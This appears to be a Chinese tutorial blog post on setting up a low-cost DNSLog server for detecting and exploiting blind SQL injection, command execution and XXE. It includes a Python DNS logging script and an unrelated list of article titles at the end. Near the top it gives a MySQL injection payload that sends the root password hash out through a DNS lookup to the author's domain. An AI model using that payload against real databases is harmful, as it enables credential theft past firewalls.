DNSLog,简单来说,就是通过记录对于域名的DNS请求,通过dns请求这个相对“隐蔽”的渠道,来委婉地获取到想要获得的信息。
例如,在一个针对mysql数据库的注入中,如果没有回显,可能很多时候就要歇菜。
但如果对方的数据库服务器连接公网并且是Windows机器的话,就可以用这种姿势来获取信息:

SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM user WHERE user='root' LIMIT 1),'.nogan.ga\\xxx'))

你将会看到类似:

当然你可能会说直接用http协议传输不就好了吗,确实http协议也可以,但是http协议毕竟有局限的地方,例如容易被防火墙限制等。
而dns作为一种基础协议有时候并不会被随便禁用,一些内网当中对于DNS协议的管控和检测是个薄弱的点,相对http来说DNS协议也更加隐蔽。

近几年DNSLog被尤其广泛地运用于无回显的SQL注入、命令执行、XML实体注入等漏洞的检测当中,算是一门很基础的老技术了。

关于DNSLog的具体应用,这里就不多说了,感兴趣的可以进一步阅读以下文章:

https://www.anquanke.com/post/id/98096http://www.freebuf.com/column/158579.htmlhttps://www.cnblogs.com/afanti/p/8047530.html

那么如何低成本搭建dnslog服务器?接下来就来简要分享一个低成本构建DNSLog服务的方法。

准备材料:

(1) 一台低成本的VPS:这里推荐使用某国外的便宜VPS,完整root权限,单核512MB/10GSSD,¥128/年,购买链接在文章最后

(2) 一个可以接收邮件的邮箱:用来注册免费域名

搭建过程

注册域名

首先到 https://freenom.com 注册用户,同时注册一个免费的域名
以我这里为例,注册一个nogan.ga

注册的时候,在DNS选项中,选择使用自己的DNS,新建DNS服务器的地址,例如我这里自定义了两个dns服务器,分别是
ns0.nogan.ga和ns1.nogan.ga,并且将他们的地址指向我的VPS服务器。

点击Continue,进入到结算页面。
如果你上一步没有注册用户,那么可以直接在这里填你用来注册用户的邮箱,然后根据指引进行操作。
如果注册了用户,只需要直接登录就可以了。

进入到Review and Checkout页面,填入一些你的基本信息就可以了

这里记得勾选Lock profile,你的信息就不会被whois查询到了。

接着下一步,勾选Complate Order,域名就注册成功了。

部署DNS服务

登录你的VPS服务器,运行下面这个python脚本,将在你的VPS主机监听UDP 53端口,并且回复DNS响应包:

记得修改IP地址和NS域名,在最后。

#!/usr/bin/env python# -*- coding: utf-8 -*-# @Date : 2014-06-29 03:01:25# @Author  : Your Name (you@example.org)# @Link : http://example.org# @Version : $Id$import SocketServerimport structimport socket as socketlib# DNS Queryclass SinDNSQuery:def __init__(self, data):i = 1self.name = ''while True:d = ord(data[i])if d == 0:break;if d < 32:self.name = self.name + '.'else:self.name = self.name + chr(d)i = i + 1self.querybytes = data[0:i + 1](self.type, self.classify) = struct.unpack('>HH', data[i + 1:i + 5])self.len = i + 5def getbytes(self):return self.querybytes + struct.pack('>HH', self.type, self.classify)# DNS Answer RRS# this class is also can be use as Authority RRS or Additional RRS class SinDNSAnswer:def __init__(self, ip):self.name = 49164self.type = 1self.classify = 1self.timetolive = 190self.datalength = 4self.ip = ipdef getbytes(self):res = struct.pack('>HHHLH', self.name, self.type, self.classify, self.timetolive, self.datalength)s = self.ip.split('.')res = res + struct.pack('BBBB', int(s[0]), int(s[1]), int(s[2]), int(s[3]))return res# DNS frame# must initialized by a DNS query frameclass SinDNSFrame:def __init__(self, data):(self.id, self.flags, self.quests, self.answers, self.author, self.addition) = struct.unpack('>HHHHHH', data[0:12])self.query = SinDNSQuery(data[12:])def getname(self):return self.query.namedef setip(self, ip):self.answer = SinDNSAnswer(ip)self.answers = 1self.flags = 33152def getbytes(self):res = struct.pack('>HHHHHH', self.id, self.flags, self.quests, self.answers, self.author, self.addition)res = res + self.query.getbytes()if self.answers != 0:res = res + self.answer.getbytes()return res# A UDPHandler to handle DNS queryclass SinDNSUDPHandler(SocketServer.BaseRequestHandler):def handle(self):data = self.request[0].strip()dns = SinDNSFrame(data)socket = self.request[1]namemap = SinDNSServer.namemapif(dns.query.type==1):# If this is query a A record, then response itname = dns.getname();toip = Noneifrom = "map"if namemap.__contains__(name):# If have record, response it# dns.setip(namemap[name])# socket.sendto(dns.getbytes(), self.client_address)toip = namemap[name]elif namemap.__contains__('*'):# Response default address# dns.setip(namemap['*'])# socket.sendto(dns.getbytes(), self.client_address)toip = namemap['*']else:# ignore it# socket.sendto(data, self.client_address)# socket.getaddrinfo(name,0)try:toip = socketlib.getaddrinfo(name,0)[0][4][0]ifrom = "sev"# namemap[name] = toip# print socket.getaddrinfo(name,0)except Exception, e:print 'get ip fail'if toip:dns.setip(toip)print '%s: %s-->%s (%s)'%(self.client_address[0], name, toip, ifrom)socket.sendto(dns.getbytes(), self.client_address)else:# If this is not query a A record, ignore itsocket.sendto(data, self.client_address)# DNS Server# It only support A record query# user it, U can create a simple DNS serverclass SinDNSServer:def __init__(self, port=53):SinDNSServer.namemap = {}self.port = portdef addname(self, name, ip):SinDNSServer.namemap[name] = ipdef start(self):HOST, PORT = "0.0.0.0", self.portserver = SocketServer.UDPServer((HOST, PORT), SinDNSUDPHandler)server.serve_forever()# Now, test itif __name__ == "__main__":sev = SinDNSServer()sev.addname('ns0.nogan.ga','x.x.x.x') sev.addname('ns1.nogan.ga','x.x.x.x')sev.addname('www.nogan.ga','y.y.y.y')sev.addname('*', '127.0.0.1') # default addresssev.start() # start DNS server

将上面的ns0.nogan.ga和ns1.nogan.ga改成你的域名,并且将x.x.x.x改成你的VPS服务器地址。
如果你在搭建DNSLog的同时还想顺便搭建一个网站的话,可以添加一个www记录,指向你的web服务器地址。
星号是将任意地址执行127.0.0.1,这样你的DNSLog请求记录,都会被默认解析到127.0.0.1。

接着在服务器上运行

python dns.py

在任意机器上面ping xxxxx.YOURDOMAIN:

可以在VPS上观察到请求已经过来了

但这个时候程序是一直在控制台运行的,想要退出怎么办呢,用nohup将程序改为背景运行:

想要关闭的话,先查看端口并获取进程号,然后kill即可:

Enjoy it~

附:

搬瓦工VPS优惠地址 (推荐 $19.99/年,约合RMB¥128):

https://bandwagonhost.com/cart.php (可能要扶梯 = = )

转载于:https://www.cnblogs.com/Chorder/p/9087386.html

如何低成本搭建dnslog服务器相关推荐

  1. arm Linux 低成本方案,参赛作品《低成本基于ARM+Linux平台搭建web服务器的物联网学习板》...

    [报名阶段需要填写的内容] 1. 参赛者姓名(必填项): 王徕泽 2. 单位或学校名称(选填项): 徕泽电子工作室 3. 当前职务或职称(选填项): 室长 4. 参赛作品的名字(必填项): 低成本基于 ...

  2. 低成本搭建Time Machine 服务器

    低成本搭建Time Machine 服务器 Time Machine 是什么?自建Time Machine 服务器的理由硬件的选择软件的部署Mac 备份到Time Machine 服务器从Time M ...

  3. 使用Docker搭建svn服务器教程

    使用Docker搭建svn服务器教程 svn简介 SVN是Subversion的简称,是一个开放源代码的版本控制系统,相较于RCS.CVS,它采用了分支管理系统,它的设计目标就是取代CVS.互联网上很 ...

  4. centos7 下搭建git服务器

    总的来说,搭建git和svn形式差不多 1.首先要在服务器安装git环境,创建用户密码和仓库等 2.然后个人主机(基本是window)安装git客户端 3.将个人主机客户端的秘钥写到git服务器的一个 ...

  5. 搭建Git服务器教程转载

    1. 在Windows下使用ssh+msysgit客户端搭建Git服务器 http://www.codeproject.com/Articles/296398/Step-by-Step-Setup-G ...

  6. 使用 Nginx 搭建图片服务器

    点击上方"方志朋",选择"设为星标" 回复"666"获取新整理的面试资料 作者 | ITDragon龙 链接 | cnblogs.com/i ...

  7. git进入项目目录 windows_Windows下搭建Git服务器

    Windows平台下搭建Git服务器的图文详解及教程 Git没有客户端服务器端的概念,但是要共享Git仓库,就需要用到SSH协议(FTP , HTTPS , SFTP等协议也能实现Git共享,此文档不 ...

  8. Linux搭建BT下载服务器,linux下搭建bt服务器–xbt篇

    在windows2003下搭建bt服务器对硬件的要求较高,低配置的服务器容易死机,很是麻烦. 我们考虑用linux.据我所知,在linux下面可以作为bt tracker的软件并不是不多.现在介绍两个 ...

  9. xp http文件服务器,在XP sp3下用IIS搭建http服务器总结

    在XP sp3下用IIS搭建http服务器总结 需要将搭建一个http服务器. 以下是安装的全部过程: 1.确认计算机的名字:我的电脑->右键属性->计算机名->确认计算机的名字,最 ...

最新文章

  1. poj2449(k短路算法)
  2. windows mysql主主配置_基于docker MySQL数据库主主同步配置(windows上)
  3. Pytorch详解NLLLoss和CrossEntropyLoss、以及softmax和log_softmax
  4. HX720/HX711 数据采集及处理姿态解析(公式及源码)
  5. ethercat主站给从站分配多个地址_Profinet 与 EtherCAT 网关使用方法
  6. python修改静态html_Python 静态页面爬虫---urllib3库实现
  7. 7段均衡器最佳调节图_超高级的吉他均衡器 更细腻的控制 你值得拥有
  8. Eos的Wasm智能合约的局限性
  9. 【已解决】手机“此设备已安装证书授权中心,您的安全网络流量可能被监控”怎么办?
  10. kali linux查看局域网下所有IP,并对指定IP实施局域网内攻击
  11. 计算机dll修复工具,DLL修复工具哪个好?五款修复能力强推荐
  12. Java解析富文本rtf中文乱码
  13. 企业实践|分布式系统可观测性之应用业务指标监控
  14. Spring Value注解的使用
  15. CSS 圆形图片,类似头像形状。
  16. 让汉字快速匹配拼音、你不知道的快速方法
  17. 计算机图形学:实验二——OpenGL绘制基本图形
  18. 遇到100万行的 Excel,还没打开,电脑和我都崩溃了,该怎么办?
  19. 后处理方法NMS、Soft-NMS、 Softer-NMS、WBC、DIoUNMS 、NMS替代算法Confluence
  20. 【WebGIS】二、基于Openlayers实现地图的加载与显示

热门文章

  1. CRAFT: Character Region Awareness for Text Detection ---- 论文阅读笔记
  2. Android编译时注解处理器
  3. 快速破解专业操盘手核心机密(全套)
  4. 线特征作为视觉描述:用于视觉定位的上下文感知线特征描述符
  5. python统计红楼梦人物出场次数_《红楼梦》人数统计,人物,出场,次数
  6. 混合云管平台排名您知道吗?看这里
  7. 一种典型的手机APP远程控制PLC解决方案
  8. 用有数据的单元格内容向下填充空白单元格
  9. matlab中m_map工具箱绘制大圆航线
  10. 低代码开发,是程序员的“福”还是“祸”?